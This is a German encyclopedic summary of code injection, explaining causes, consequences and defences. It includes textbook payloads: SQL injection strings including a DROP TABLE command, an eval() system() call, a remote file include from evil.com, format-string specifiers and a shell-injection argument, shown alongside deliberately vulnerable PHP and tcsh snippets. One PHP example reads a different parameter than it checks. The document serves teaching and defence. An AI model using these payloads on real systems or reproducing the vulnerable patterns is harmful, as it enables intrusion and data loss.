Wikipedia · einfach zusammengefasst · Stand
Code-Injektion
Code-Injektion ist das Einschleusen und Ausführen von unerwünschtem Programmcode, durch die Ausnutzung eines Computerfehlers. Dabei werden externe Daten von …
Inhalt6 Abschnitte
Grundprinzip und Auswirkungen
Code-Injektion ist das Einschleusen und Ausführen von unerwünschtem Programmcode durch die Ausnutzung eines Computerfehlers. Ein Angreifer nutzt externe Daten, um Code in ein verwundbares Computerprogramm einzuschleusen und zur Ausführung zu bringen. Bestimmte Arten beruhen auf Interpretationsfehlern: Die Anwendung unterscheidet nicht zwischen Benutzereingaben und Systembefehlen und gibt den Eingaben dadurch eine besondere Bedeutung.
Code-Injection-Schwachstellen entstehen, wenn eine Anwendung nicht vertrauenswürdige Daten an einen Interpreter sendet. Häufige Einsatzbereiche sind SQL-, LDAP-, XPath- und NoSQL-Abfragen, Betriebssystembefehle, XML-Parser, SMTP-Kopfzeilen und allgemein Parameter von Programmaufrufen. Solche Schwachstellen sind im Quellcode in der Regel leichter zu entdecken als durch Tests; Scanner und Fuzzers können bei der Suche helfen.
Mögliche Folgen sind Datenverlust oder -beschädigung, Zugriffsverweigerung und sogar die komplette Übernahme eines Hosts. Code-Injektion kann zum Verändern von Datenbankwerten, zur Verunstaltung von Webseiten, zur Kompromittierung sensibler Daten, zum Installieren von Malware oder Ausführen bösartigen Servercodes sowie zur Privilegieneskalation dienen. Bei einer Privilegieneskalation werden höhere Rechte erlangt, beispielsweise root-Rechte durch eine Shell-Injection-Schwachstelle in einem setuid-root-Binary unter UNIX oder Local-System-Rechte durch die Ausnutzung eines Dienstes unter Microsoft Windows. Cross-Site-Scripting richtet sich gegen Webbenutzer.
Im Jahr 2008 wurden 5,66 % aller in diesem Jahr gemeldeten Schwachstellen als Code Injection klassifiziert; das war der höchste Wert in den Aufzeichnungen. Im Jahr 2015 war der Anteil auf 0,77 % gesunken.
Sichere und ungewollte Injektion
Code-Injektion kann theoretisch auch mit guten Absichten eingesetzt werden. Eine Suchergebnisseite könnte dadurch etwa eine nützliche neue Spalte anzeigen oder Inhalte weiter filtern, ordnen oder gruppieren. Beim Testen von Software, besonders bei Penetrationstests, wird sie als „White Hat“ verwendet. Auch Entwickler können vorübergehend eine Bibliotheksfunktion durch eine eigene Funktion mit gleichem Namen überschreiben.
Code kann außerdem unbeabsichtigt injiziert werden. Ein Nutzer kann etwas eingeben, das er für eine gültige Eingabe hält, das der Entwickler aber mit einer besonderen Bedeutung versehen hat. Beispiele sind ein Kaufmanns-Und oder ein Apostroph in einem Firmennamen. Dieselben problematischen Zeichen können auch in einer vom Nutzer hochgeladenen Datei vorkommen.
Schutzmaßnahmen
Zur Vermeidung von Code-Injection-Problemen ist vor allem eine sichere Handhabung von Ein- und Ausgaben erforderlich. Die verwendete Programmierschnittstelle, kurz API, sollte Eingaben sicher verarbeiten. Beispiele sind vorkompilierte SQL-Anweisungen mit Platzhaltern für Benutzerdaten und die Criteria API. Außerdem kann ein statisches Typensystem die Trennung von Sprache und Daten erzwingen.
Weitere Maßnahmen sind:
- Eingabevalidierung, möglichst serverseitig, durch Whitelisting. Dabei wird eine Liste akzeptierter Werte festgelegt.
- Eingabekodierung, zum Beispiel das Escapen ungewollter Zeichen. In PHP schreibt htmlspecialchars() Sonderzeichen für eine sichere Ausgabe in HTML um; mysqli::real_escape_string() isoliert Daten für eine SQL-Anfrage.
- Entsprechende Ausgabekodierung zum Schutz von Website-Besuchern vor HTML-Injection-Attacken.
- Das HTTP-Cookie-Flag HttpOnly, das clientseitige Skriptinteraktion mit Cookies verhindert und damit bestimmte XSS-Angriffe erschwert.
- Eine modulare Abkopplung der Shell vom Kernel.
Diese Vorschläge betreffen vor allem die webbasierte Injektion von HTML- oder Skriptcode in serverseitige Anwendungen. Für Benutzercode, der auf dem Rechner des Benutzers mit erhöhten Rechten ausgeführt werden könnte, sind zusätzliche Schutzmechanismen wichtig:
- Bei der Laufzeit-Image-Hash-Validierung wird ein Hash eines Teils oder des kompletten Images einer in den Speicher geladenen ausführbaren Datei erfasst und mit dem gespeicherten, erwarteten Hash verglichen.
- Beim NX-Bit werden Benutzerdaten in einen speziellen, als nicht ausführbar markierten Speicherbereich gelegt. Der Prozessor lehnt dort die Ausführung ab.
- Canaries legen zufällige Werte auf dem Stack ab. Nach der Rückkehr einer Funktion wird der Wert überprüft. Bei einer Veränderung wird das Programm gestoppt; dadurch werden Stack-Overflow-Attacken verhindert.
- Beim Code Pointer Masking (CPM) wird ein Zeiger auf auszuführenden Code auf Plausibilität geprüft. In C kann dies auf Prozessorebene durch eine Bitmaske geschehen.
SQL-, Skript- und dynamische Injektion
Bei der SQL-Injektion wird die Syntax von SQL ausgenutzt, um Befehle einzuschleusen. Diese können eine Datenbank lesen oder verändern oder die Bedeutung einer ursprünglichen Abfrage beeinträchtigen.
Eine Anmeldeseite vergleicht beispielsweise Benutzername und Passwort mit der Tabelle BenutzerListe:
SELECT BenutzerListe.Benutzername FROM BenutzerListe WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1> AND BenutzerListe.Password = <Inhalt von Feld-2>
Ein Angreifer kann als Passwort XYZ' OR '1'='1 eingeben. Daraus kann folgende Abfrage entstehen:
SELECT BenutzerListe.Benutzername FROM BenutzerListe WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1> AND BenutzerListe.Password = 'XYZ' OR '1'='1'
Die Bedingung 1 = 1 ist immer wahr. Das System kann deshalb den Zugriff gestatten, sobald der Benutzername existiert, auch wenn das Passwort nicht stimmt. Gibt ein Angreifer als Benutzernamen ';DROP TABLE BenutzerListe; -- ein, entstehen durch Semikolons drei Anweisungen. Nach der Suche mit leerem Benutzernamen folgt DROP TABLE BenutzerListe;, wodurch die gesamte Tabelle sofort und ohne Rückfrage gelöscht wird. Der Rest wird wegen der führenden Bindestriche als Kommentar ignoriert.
Cross-Site-Scripting, kurz XSS, ist das Injizieren von Skripten in die Sitzung eines ahnungslosen folgenden Benutzers. Bei einem verwundbaren Gästebuch übernimmt das Gästebuch-Skript eine Nachricht unüberprüft in den auszugebenden HTML-Text. Enthält sie beispielsweise ein script-Element mit JavaScript, zeigt der Browser diesen Bereich nicht einfach an, sondern führt ihn auf dem Rechner des Besuchers aus. Der Code kann den Rechner kompromittieren oder auf der besuchten Website unerwünschte Aktionen mit den Nutzerrechten ausführen, wenn der Besucher dort angemeldet ist. Ursache sind oft naive Annahmen darüber, welche Eingabedaten möglich sind.
Eine eval()-Injection-Schwachstelle tritt auf, wenn ein Angreifer die gesamte oder einen Teil einer Eingabezeichenkette kontrollieren kann, die in eine eval()-Funktion eingespeist wird. Im Beispiel wird in PHP zunächst der Wert von arg übernommen und anschließend ausgeführt:
$myvar = 'somevalue'; $x = $_GET['arg']; eval('$myvar = ' . $x . ';');
Das Argument von eval wird als PHP verarbeitet. Wird arg auf 10; system('/bin/echo uh-oh') gesetzt, kann zusätzlicher Code ausgeführt werden, der ein Programm auf dem Server startet, hier /bin/echo.
Objekt-, Datei- und Format-Spezifizierer-Injektion
PHP erlaubt die Serialisierung und Deserialisierung ganzer Objekte. Werden nicht vertrauenswürdige Eingaben an die Deserialisierungsfunktion übergeben, können bestehende Klassen im Programm überschrieben und bösartige Angriffe ausgeführt werden. Ein solcher Angriff auf Joomla wurde 2013 gefunden.
Bei einer entfernten Dateiinjektion kann ein PHP-Programm eine per Anfrage angegebene Datei einschließen:
<?php $color = 'blue'; if (isset($_GET['Farbe'])) $color = $_GET['color']; require($color . '.php');
Obwohl scheinbar nur Farbdateien wie blau.php und rot.php geladen werden sollen, kann ein Angreifer COLOR=http://evil.com/exploit angeben. Dadurch kann PHP veranlasst werden, die externe Datei zu laden.
Formatierungszeichenfolgen-Bugs treten häufig auf, wenn ein Programmierer eine Zeichenfolge mit Benutzerdaten ausgeben möchte. printf(buffer) ist unsicher, weil buffer als Formatierungszeichenfolge interpretiert und nach Formatierungsanweisungen durchsucht wird. printf("%s", buffer) gibt buffer dagegen als Zeichenkette aus.
In einem C-Programm kann eine Benutzereingabe wie %s%s%s%s%s%s%s%s dazu führen, dass printf() aus dem Stack liest. Einer der %s-Formatierer kann schließlich auf die Adresse des dort liegenden Passworts zugreifen und Passwort1 auf dem Bildschirm ausgeben. Die sichere Version lautet printf("%s", user_input);.
Shell- oder Befehlsinjektion
Shell-Injektion, auch Befehlsinjektion genannt, ist nach Unix-Shells benannt, betrifft aber grundsätzlich Systeme, auf denen Software eine Befehlszeile programmatisch ausführen kann. Jede Funktion, die Shell-Befehle zusammensetzen und ausführen kann, ist ein mögliches Angriffsmittel. Dazu gehören system(), StartProcess() und System.Diagnostics.Process.Start().
In einem verwundbaren tcsh-Skript wird ein Parameter so geprüft:
#!/bin/tcsh if ($1 == 1) echo it matches
Wird die ausführbare Datei als ./check gespeichert, kann ./check " 1 ) evil" versuchen, den eingeschleusten Shell-Befehl evil auszuführen, statt das Argument nur mit dem konstanten Wert zu vergleichen. Gerade der Code, der Eingaben prüfen und einen Angriff verhindern soll, kann dadurch verwundbar sein.
Auch ein PHP-Programm auf einem Webserver kann betroffen sein:
<?php passthru("/bin/funnytext " . $_GET['USER_INPUT']);
passthru() setzt aus dem festen Programmnamen und der URL-Eingabe einen Shell-Befehl zusammen. Da ein Teil des Befehls aus dem Webbrowser stammt, kann die URL bösartige Shell-Befehle einschleusen, indem sie die Syntax verschiedener Shell-Funktionen ausnutzt.
Einige Sprachen bieten Funktionen zum Escapen oder Quoten von Zeichenketten für Shell-Befehle: PHP stellt escapeshellarg() und escapeshellcmd() bereit, Python shlex.quote(). Zusätzlich sollen Benutzereingaben validiert oder bereinigt werden. Sicherer sind APIs, die externe Programme direkt und nicht über eine Shell ausführen. Sie verhindern die Möglichkeit der Shell-Injektion, unterstützen aber möglicherweise nicht die Komfortfunktionen einer Shell und sind oft ausführlicher als die knappe Shell-Syntax.
